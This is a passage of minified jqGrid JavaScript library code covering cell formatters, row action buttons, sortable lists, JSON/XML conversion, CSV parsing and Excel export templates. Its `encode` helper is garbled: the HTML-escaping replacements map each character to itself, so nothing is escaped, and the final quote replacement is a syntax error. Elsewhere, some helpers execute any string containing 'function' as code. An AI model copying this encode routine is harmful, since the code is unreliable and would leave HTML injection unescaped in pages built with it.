0!==t.colModel.formatoptions?Ye.extend({},o,t.colModel.formatoptions):o).reformatAfterEdit&&"edit"===i||Ye.fmatter.isEmpty(e)?Ye.fn.fmatter.defaultFormat(e,t):Ye.jgrid.parseDate.call(this,o.srcformat,e,o.newformat,o)},Ye.fn.fmatter.select=function(e,t){e=String(e);var r,i,o=!1,a=[];if(void 0!==t.colModel.formatoptions?(o=t.colModel.formatoptions.value,r=void 0===t.colModel.formatoptions.separator?":":t.colModel.formatoptions.separator,i=void 0===t.colModel.formatoptions.delimiter?";":t.colModel.formatoptions.delimiter):void 0!==t.colModel.editoptions&&(o=t.colModel.editoptions.value,r=void 0===t.colModel.editoptions.separator?":":t.colModel.editoptions.separator,i=void 0===t.colModel.editoptions.delimiter?";":t.colModel.editoptions.delimiter),o){var n,l=!0==(null!=t.colModel.editoptions&&!0===t.colModel.editoptions.multiple),s=[];if(l&&(s=e.split(","),s=Ye.map(s,function(e){return Ye.jgrid.trim(e)})),Ye.fmatter.isString(o)){for(var d=o.split(i),p=0,c=0;c<d.length;c++)if(2<(n=d[c].split(r)).length&&(n[1]=Ye.map(n,function(e,t){if(0<t)return e}).join(r)),l)-1<Ye.inArray(n[0],s)&&(a[p]=n[1],p++);else if(Ye.jgrid.trim(n[0])===Ye.jgrid.trim(e)){a[0]=n[1];break}}else Ye.fmatter.isObject(o)&&(l?a=Ye.map(s,function(e){return o[e]}):a[0]=o[e]||"")}return""===(e=a.join(", "))?Ye.fn.fmatter.defaultFormat(e,t):e},Ye.fn.fmatter.rowactions=function(e){function t(e){Ye.jgrid.isFunction(d.afterRestore)&&d.afterRestore.call(n,e),s.find("div.ui-inline-edit,div.ui-inline-del").show(),s.find("div.ui-inline-save,div.ui-inline-cancel").hide()}var r=Ye(this).closest("tr.jqgrow"),i=r.attr("id"),o=Ye(this).closest("table.ui-jqgrid-btable").attr("id").replace(/_frozen([^_]*)$/,"$1"),a=Ye("#"+o),n=a[0],o=n.p,l=o.colModel[Ye.jgrid.getCellIndex(this)],s=l.frozen?Ye("tr#"+i+" td",a).eq(Ye.jgrid.getCellIndex(this)).find("> div"):Ye(this).parent(),d={extraparam:{}},p=(void 0!==l.formatoptions&&(l=Ye.extend(!0,{},l.formatoptions),d=Ye.extend(d,l)),void 0!==o.editOptions&&(d.editOptions=o.editOptions),void 0!==o.delOptions&&(d.delOptions=o.delOptions),r.hasClass("jqgrid-new-row")&&(d.extraparam[o.prmNames.oper]=o.prmNames.addoper),{keys:d.keys,oneditfunc:d.onEdit,successfunc:d.onSuccess,url:d.url,extraparam:d.extraparam,aftersavefunc:function(e,t){Ye.jgrid.isFunction(d.afterSave)&&d.afterSave.call(n,e,t),s.find("div.ui-inline-edit,div.ui-inline-del").show(),s.find("div.ui-inline-save,div.ui-inline-cancel").hide()},errorfunc:d.onError,afterrestorefunc:t,restoreAfterError:d.restoreAfterError,mtype:d.mtype});switch(e){case"edit":a.jqGrid("editRow",i,p),a[0].p.beforeAction&&(s.find("div.ui-inline-edit,div.ui-inline-del").hide(),s.find("div.ui-inline-save,div.ui-inline-cancel").show(),a.triggerHandler("jqGridAfterGridComplete"));break;case"save":a.jqGrid("saveRow",i,p)&&(s.find("div.ui-inline-edit,div.ui-inline-del").show(),s.find("div.ui-inline-save,div.ui-inline-cancel").hide(),a.triggerHandler("jqGridAfterGridComplete"));break;case"cancel":a.jqGrid("restoreRow",i,t),s.find("div.ui-inline-edit,div.ui-inline-del").show(),s.find("div.ui-inline-save,div.ui-inline-cancel").hide(),a.triggerHandler("jqGridAfterGridComplete");break;case"del":a.jqGrid("delGridRow",i,d.delOptions);break;case"formedit":a.jqGrid("setSelection",i),a.jqGrid("editGridRow",i,d.editOptions)}},Ye.fn.fmatter.actions=function(e,t){var r={keys:!1,editbutton:!0,delbutton:!0,editformbutton:!1},i=t.rowId,o="",a=Ye.jgrid.getRegional(this,"nav"),n=Ye.jgrid.styleUI[t.styleUI||"jQueryUI"].fmatter,l=Ye.jgrid.styleUI[t.styleUI||"jQueryUI"].common;return void 0!==t.colModel.formatoptions&&(r=Ye.extend(r,t.colModel.formatoptions)),void 0===i||Ye.fmatter.isEmpty(i)?"":(t="onmouseover=jQuery(this).addClass('"+l.hover+"'); onmouseout=jQuery(this).removeClass('"+l.hover+"'); ",r.editformbutton?o+="<div title='"+a.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+("id='jEditButton_"+i+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'formedit'); "+t)+"><span class='"+l.icon_base+" "+n.icon_edit+"'></span></div>":r.editbutton&&(o+="<div title='"+a.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+("id='jEditButton_"+i+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'edit'); "+t)+"><span class='"+l.icon_base+" "+n.icon_edit+"'></span></div>"),r.delbutton&&(o+="<div title='"+a.deltitle+"' style='float:left;' class='ui-pg-div ui-inline-del' "+("id='jDeleteButton_"+i+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'del'); "+t)+"><span class='"+l.icon_base+" "+n.icon_del+"'></span></div>"),"<div class='jqgrid_actions' style='margin-left:8px;'>"+(o=(o+="<div title='"+a.savetitle+"' style='float:left;display:none' class='ui-pg-div ui-inline-save' "+("id='jSaveButton_"+i+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'save'); "+t)+"><span class='"+l.icon_base+" "+n.icon_save+"'></span></div>")+("<div title='"+a.canceltitle+"' style='float:left;display:none;' class='ui-pg-div ui-inline-cancel' "+("id='jCancelButton_"+i+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'cancel'); "+t)+"><span class='"+l.icon_base+" "+n.icon_cancel+"'></span></div>"))+"</div>")},Ye.unformat=function(e,t,r,i){var o=t.colModel.formatter,a=t.colModel.formatoptions||{},n=/([\.\*\_\'\(\)\{\}\+\?\\])/g,l=t.colModel.unformat||Ye.fn.fmatter[o]&&Ye.fn.fmatter[o].unformat;if(void 0!==l&&Ye.jgrid.isFunction(l))c=l.call(this,Ye(e).text(),t,e);else if(void 0!==o&&Ye.fmatter.isString(o)){var s,d=Ye.jgrid.getRegional(this,"formatter")||{};switch(o){case"integer":p=(a=Ye.extend({},d.integer,a)).thousandsSeparator.replace(n,"\\$1"),s=new RegExp(p,"g"),c=Ye(e).text().replace(s,"");break;case"number":p=(a=Ye.extend({},d.number,a)).thousandsSeparator.replace(n,"\\$1"),s=new RegExp(p,"g"),c=Ye(e).text().replace(s,"").replace(a.decimalSeparator,".");break;case"currency":p=(a=Ye.extend({},d.currency,a)).thousandsSeparator.replace(n,"\\$1"),s=new RegExp(p,"g"),c=Ye(e).text(),a.prefix&&a.prefix.length&&(c=c.slice(a.prefix.length)),c=(c=a.suffix&&a.suffix.length?c.slice(0,c.length-a.suffix.length):c).replace(s,"").replace(a.decimalSeparator,".");break;case"checkbox":var p=t.colModel.editoptions?t.colModel.editoptions.value.split(":"):["Yes","No"],c=Ye("input",e).is(":checked")?p[0]:p[1];break;case"select":c=Ye.unformat.select(e,t,r,i);break;case"actions":return"";default:c=Ye(e).text()}}return void 0!==c?c:!0===i?Ye(e).text():Ye.jgrid.htmlDecode(Ye(e).html())},Ye.unformat.select=function(e,t,r,i){var o=[],a=Ye(e).text();if(!0===i)return a;var n=Ye.extend({},void 0!==t.colModel.formatoptions?t.colModel.formatoptions:t.colModel.editoptions),l=void 0===n.separator?":":n.separator,e=void 0===n.delimiter?";":n.delimiter;if(n.value){var s,d=n.value,p=!0===n.multiple,c=[];if(p&&(c=a.split(","),c=Ye.map(c,function(e){return Ye.jgrid.trim(e)})),Ye.fmatter.isString(d)){for(var u=d.split(e),h=0,g=0;g<u.length;g++)if(2<(s=u[g].split(l)).length&&(s[1]=Ye.map(s,function(e,t){if(0<t)return e}).join(l)),n.decodeValue&&!0===n.decodeValue&&(s[1]=Ye.jgrid.htmlDecode(s[1])),p)-1<Ye.inArray(Ye.jgrid.trim(s[1]),c)&&(o[h]=s[0],h++);else if(Ye.jgrid.trim(s[1])===Ye.jgrid.trim(a)){o[0]=s[0];break}}else(Ye.fmatter.isObject(d)||Array.isArray(d))&&(p||(c[0]=a),o=Ye.map(c,function(r){var i;if(Ye.each(d,function(e,t){if(t===r)return i=e,!1}),void 0!==i)return i}));return o.join(", ")}return a||""},Ye.unformat.date=function(e,t){var r=Ye.jgrid.getRegional(this,"formatter.date")||{};return void 0!==t.formatoptions&&(r=Ye.extend({},r,t.formatoptions)),Ye.fmatter.isEmpty(e)?Ye.fn.fmatter.defaultFormat(e,t):Ye.jgrid.parseDate.call(this,r.newformat,e,r.srcformat,r)};var v,j=Ye();Ye.fn.html5sortable=function(a){var e=String(a);return a=Ye.extend({connectWith:!1},a),this.each(function(){var t,r,i,o;/^enable|disable|destroy$/.test(e)?(i=Ye(this).children(Ye(this).data("items")).attr("draggable","enable"===e),"destroy"===e&&i.add(this).removeData("connectWith items").off("dragstart.h5s dragend.h5s selectstart.h5s dragover.h5s dragenter.h5s drop.h5s")):(i=Ye(this).children(a.items),o=Ye("<"+(/^ul|ol$/i.test(this.tagName)?"li":/^tbody$/i.test(this.tagName)?"tr":"div")+' class="sortable-placeholder '+a.placeholderClass+'">').html(" "),i.find(a.handle).mousedown(function(){t=!0}).mouseup(function(){t=!1}),Ye(this).data("items",a.items),j=j.add(o),a.connectWith&&Ye(a.connectWith).add(this).data("connectWith",a.connectWith),i.attr("draggable","true").on("dragstart.h5s",function(e){if(a.handle&&!t)return!1;t=!1;e=e.originalEvent.dataTransfer;e.effectAllowed="move",e.setData("Text","dummy"),r=(v=Ye(this)).addClass("sortable-dragging").index()}).on("dragend.h5s",function(){v&&(v.removeClass("sortable-dragging").show(),j.detach(),r!==v.index()&&v.parent().trigger("sortupdate",{item:v,startindex:r,endindex:v.index()}),v=null)}).not("a[href], img").on("selectstart.h5s",function(){return this.dragDrop&&this.dragDrop(),!1}).end().add([this,o]).on("dragover.h5s dragenter.h5s drop.h5s",function(e){return!i.is(v)&&a.connectWith!==Ye(v).parent().data("connectWith")||("drop"===e.type?(e.stopPropagation(),j.filter(":visible").after(v),v.trigger("dragend.h5s")):(e.preventDefault(),e.originalEvent.dataTransfer.dropEffect="move",i.is(this)?(a.forcePlaceholderSize&&o.height(v.outerHeight()),v.hide(),Ye(this)[o.index()<Ye(this).index()?"after":"before"](o),j.not(o).detach()):j.is(this)||Ye(this).children(a.items).length||(j.detach(),Ye(this).append(o))),!1)}))})},Ye.extend(Ye.jgrid,{isJSON:function(e){"string"!=typeof e&&(e=JSON.stringify(e));try{return JSON.parse(e),!0}catch(e){return!1}},stringify:function(e){return JSON.stringify(e,function(e,t){return"function"==typeof t?t.toString():t})},parseFunc:function(e){return JSON.parse(e,function(e,t){var r;return"string"==typeof t&&-1!==t.indexOf("function")&&((r=t.split(" "))[0]=Ye.jgrid.trim(r[0].toLowerCase()),0===r[0].indexOf("function"))&&"}"===t.trim().slice(-1)?Ye.jgrid.runCode(t):t})},encode:function(e){return String(e).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""")},jsonToXML:function(e,t){var s=Ye.extend({xmlDecl:'<?xml version="1.0" encoding="UTF-8" ?>\n',attr_prefix:"-",encode:!0},t||{}),d=this,p=function(e,t){return"#text"===e?s.encode?d.encode(t):t:"function"==typeof t?"<"+e+"><![CDATA["+t+"]]></"+e+">\n":""===t?"<"+e+">__EMPTY_STRING_</"+e+">\n":"<"+e+">"+(s.encode?d.encode(t):t)+"</"+e+">\n"},c=function(e,t){for(var r=[],i=0;i<t.length;i++){var o=t[i];void 0===o||null==o?r[r.length]="<"+e+" />":"object"==typeof o&&o.constructor==Array?r[r.length]=c(e,o):r[r.length]=("object"==typeof o?u:p)(e,o)}return r.length||(r[0]="<"+e+">__EMPTY_ARRAY_</"+e+">\n"),r.join("")},u=function(e,t){var r,i,o=[],a=[];for(r in t)t.hasOwnProperty(r)&&(i=t[r],r.charAt(0)!==s.attr_prefix?null==i?o[o.length]="<"+r+" />":"object"==typeof i&&i.constructor===Array?o[o.length]=c(r,i):o[o.length]=("object"==typeof i?u:p)(r,i):a[a.length]=" "+r.substring(1)+'="'+(s.encode?d.encode(i):i)+'"');var n=a.join(""),l=o.join("");return l=null!=e?0<o.length?l.match(/\n/)?"<"+e+n+">\n"+l+"</"+e+">\n":"<"+e+n+">"+l+"</"+e+">\n":"<"+e+n+" />\n":l},t=u(null,e);return s.xmlDecl+t},xmlToJSON:function(e,t){var s=Ye.extend({force_array:[],attr_prefix:"-"},t||{});if(e){var o={};if(s.force_array)for(var r=0;r<s.force_array.length;r++)o[s.force_array[r]]=1;(e="string"==typeof e?Ye.parseXML(e):e).documentElement&&(e=e.documentElement);var i,d=function(e,t,r,i){if("string"==typeof i)if(-1!==i.indexOf("function"))i=Ye.jgrid.runCode(i);else switch(i){case"__EMPTY_ARRAY_":i=[];break;case"__EMPTY_STRING_":i="";break;case"false":i=!1;break;case"true":i=!0}o[t]?(1===r&&(e[t]=[]),e[t][e[t].length]=i):1===r?e[t]=i:2===r?e[t]=[e[t],i]:e[t][e[t].length]=i},p=function(e){if(7!==e.nodeType){if(3===e.nodeType||4===e.nodeType)return null==e.nodeValue.match(/[^\x00-\x20]/)?void 0:e.nodeValue;var t,r,i,o={};if(e.attributes&&e.attributes.length)for(t={},n=0;n<e.attributes.length;n++)"string"==typeof(r=e.attributes[n].nodeName)&&(i=e.attributes[n].nodeValue)&&(void 0===o[r=s.attr_prefix+r]&&(o[r]=0),o[r]++,d(t,r,o[r],i));if(e.childNodes&&e.childNodes.length){for(var a=t?!1:!0,n=0;n<e.childNodes.length&&a;n++){var l=e.childNodes[n].nodeType;3!==l&&4!==l&&(a=!1)}if(a)for(t=t||"",n=0;n<e.childNodes.length;n++)t+=e.childNodes[n].nodeValue;else for(t=t||{},n=0;n<e.childNodes.length;n++)"string"==typeof(r=e.childNodes[n].nodeName)&&(i=p(e.childNodes[n]))&&(void 0===o[r]&&(o[r]=0),o[r]++,d(t,r,o[r],i))}return t}},t=p(e);return o[e.nodeName]&&(t=[t]),11!==e.nodeType&&((i={})[e.nodeName]=t,t=i),t}},saveAs:function(e,t,r){r=Ye.extend(!0,{type:"plain/text;charset=utf-8"},r||{});var i,o,a,n=[];t=null==t||""===t?"jqGridFile.txt":t,Array.isArray(e)?n=e:n[0]=e;try{i=new File(n,t,r)}catch(e){i=new Blob(n,r)}window.navigator&&window.navigator.msSaveOrOpenBlob?window.navigator.msSaveOrOpenBlob(i,t):(o=URL.createObjectURL(i),(a=document.createElement("a")).href=o,a.download=t,document.body.appendChild(a),a.click(),setTimeout(function(){document.body.removeChild(a),window.URL.revokeObjectURL(o)},0))},csvToArray:function(e,t){void 0===t&&(t=",");for(var r,i,o=[],a=[],n={},l=0,s=0,d=new RegExp("(\\"+t+'|\\r?\\n|\\r|^)(?:"([^"]*(?:""[^"]*)*)"|([^"\\'+t+"\\r\\n]*))","gi");r=d.exec(e);){var p=r[1];p.length&&p!==t&&(s++,n={},l=0),p=r[2]?r[2].replace(new RegExp('""',"g"),'"'):r[3],0===s?(o.push(p),i=o.length):(n[o[l]]=p,l===i-1?a.push(n):l++)}return a}}),Ye.jgrid=Ye.jgrid||{},Ye.extend(Ye.jgrid,{formatCell:function(e,t,r,i,o,a){return void 0!==i.formatter?(t={rowId:"",colModel:i,gid:o.p.id,pos:t,styleUI:"",isExported:!0,exporttype:a},Ye.jgrid.isFunction(i.formatter)?i.formatter.call(o,e,t,r):Ye.fmatter?Ye.fn.fmatter.call(o,i.formatter,e,t,r):e):e},formatCellCsv:function(t,e){t=null==t?"":String(t);try{t=Ye.jgrid.stripHtml(t.replace(e._regexsep,e.separatorReplace).replace(/\r\n/g,e.replaceNewLine).replace(/\n/g,e.replaceNewLine))}catch(e){t=""}return t=-1!==(t=e.escquote?t.replace(e._regexquot,e.escquote+e.quote):t).indexOf(e.separator)&&-1!==t.indexOf(e.qoute)?t:e.quote+t+e.quote},excelCellPos:function(e){for(var t="A".charCodeAt(0),r="Z".charCodeAt(0)-t+1,i="";0<=e;)i=String.fromCharCode(e%r+t)+i,e=Math.floor(e/r)-1;return i},makeNode:function(e,t,r){var i=e.createElement(t);return r&&(r.attr&&Ye(i).attr(r.attr),r.children&&Ye.each(r.children,function(e,t){i.appendChild(t)}),r.hasOwnProperty("text"))&&i.appendChild(e.createTextNode(r.text)),i},xmlToZip:function(o,e){var a,n,l,s,d,p=this,c=new XMLSerializer,u=-1===c.serializeToString(Ye.parseXML(Ye.jgrid.excelStrings["xl/worksheets/sheet1.xml"])).indexOf("xmlns:r"),h=[];Ye.each(e,function(e,t){if(Ye.isPlainObject(t))d=o.folder(e),p.xmlToZip(d,t);else{if(u){for(a=t.childNodes[0],n=a.attributes.length-1;0<=n;n--){var r=a.attributes[n].nodeName,i=a.attributes[n].nodeValue;-1!==r.indexOf(":")&&(h.push({name:r,value:i}),a.removeAttribute(r))}for(n=0,l=h.length;n<l;n++)(s=t.createAttribute(h[n].name.replace(":","_dt_b_namespace_token_"))).value=h[n].value,a.setAttributeNode(s)}d=c.serializeToString(t),d=(d=u?(d=-1===d.indexOf("<?xml")?'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+d:d).replace(/_dt_b_namespace_token_/g,":"):d).replace(/<row xmlns="" /g,"<row ").replace(/<cols xmlns="">/g,"<cols>").replace(/<mergeCells xmlns="" /g,"<mergeCells ").replace(/<numFmt xmlns="" /g,"<numFmt ").replace(/<xf xmlns="" /g,"<xf "),o.file(e,d)}})},excelStrings:{"_rels/.rels":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',"xl/_rels/workbook.xml.rels":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/></Relationships>',"[Content_Types].xml":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml" /><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" /><Default Extension="jpeg" ContentType="image/jpeg" /><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" /><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" /><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" /></Types>',"xl/workbook.xml":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/><workbookPr showInkAnnotation="0" autoCompressPictures="0"/><bookViews><workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',"xl/worksheets/sheet1.xml":'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><sheetData/></worksheet>',"xl/styles.xml":'<?xml version="1.0" encoding="UTF-8"?><styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><numFmts count="7"><numFmt numFmtId="164" formatCode="#,##0.00_- [$$-45C]"/><numFmt numFmtId="165" formatCode=""£"#,##0.00"/><numFmt numFmtId="166" formatCode="[$€-2] #,##0.00"/><numFmt numFmtId="167" formatCode="0.0%"/><numFmt numFmtId="168" formatCode="#,##0;(#,##0)"/><numFmt numFmtId="169" formatCode="#,##0.00;(#,##0.00)"/><numFmt numFmtId="170" formatCode="yyyy/mm/dd;@"/></numFmts><fonts count="5" x14ac:knownFonts="1"><font><sz val="11" /><name val="Calibri" /></font><font><sz val="11" /><name val="Calibri" /><color rgb="FFFFFFFF" /></font><font><sz val="11" /><name val="Calibri" /><b /></font><font><sz val="11" /><name val="Calibri" /><i /></font><font><sz val="11" /><name val="Calibri" /><u /></font></fonts><fills count="6"><fill><patternFill patternType="none" /></fill><fill/><fill><patternFill patternType="solid"><fgColor rgb="FFD9D9D9" /><bgColor indexed="64" /></patternFill></fill><fill><patternFill patternType="solid"><fgColor rgb="FFD99795" /><bgColor indexed="64" /></patternFill></fill><fill><patternFill patternType="solid"><fgColor rgb="ffc6efce" /><bgColor indexed="64" /></patternFill></fill><fill><patternFill patternType="solid"><fgColor rgb="ffc6cfef" /><bgColor indexed="64" /></patternFill></fill></fills><borders count="2"><border><left /><right /><top /><bottom /><diagonal /></border><border diagonalUp="false" diagonalDown="false"><left style="thin"><color auto="1" /></left><right style="thin"><color auto="1" /></right><top style="thin"><color auto="1" /></top><bottom style="thin"><color auto="1" /></bottom><diagonal /></border></borders><cellStyleXfs count="1"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" /></cellStyleXfs><cellXfs count="69"><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="left"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="center"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="right"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment horizontal="fill"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment textRotation="90"/></xf><xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"><alignment wrapText="1"/></xf><xf numFmtId="9" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="164" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="165" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="166" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="167" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="168" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="169" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="3" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="4" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="1" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="2" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="170" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/><xf numFmtId="49" fontId="0" fillId="0" 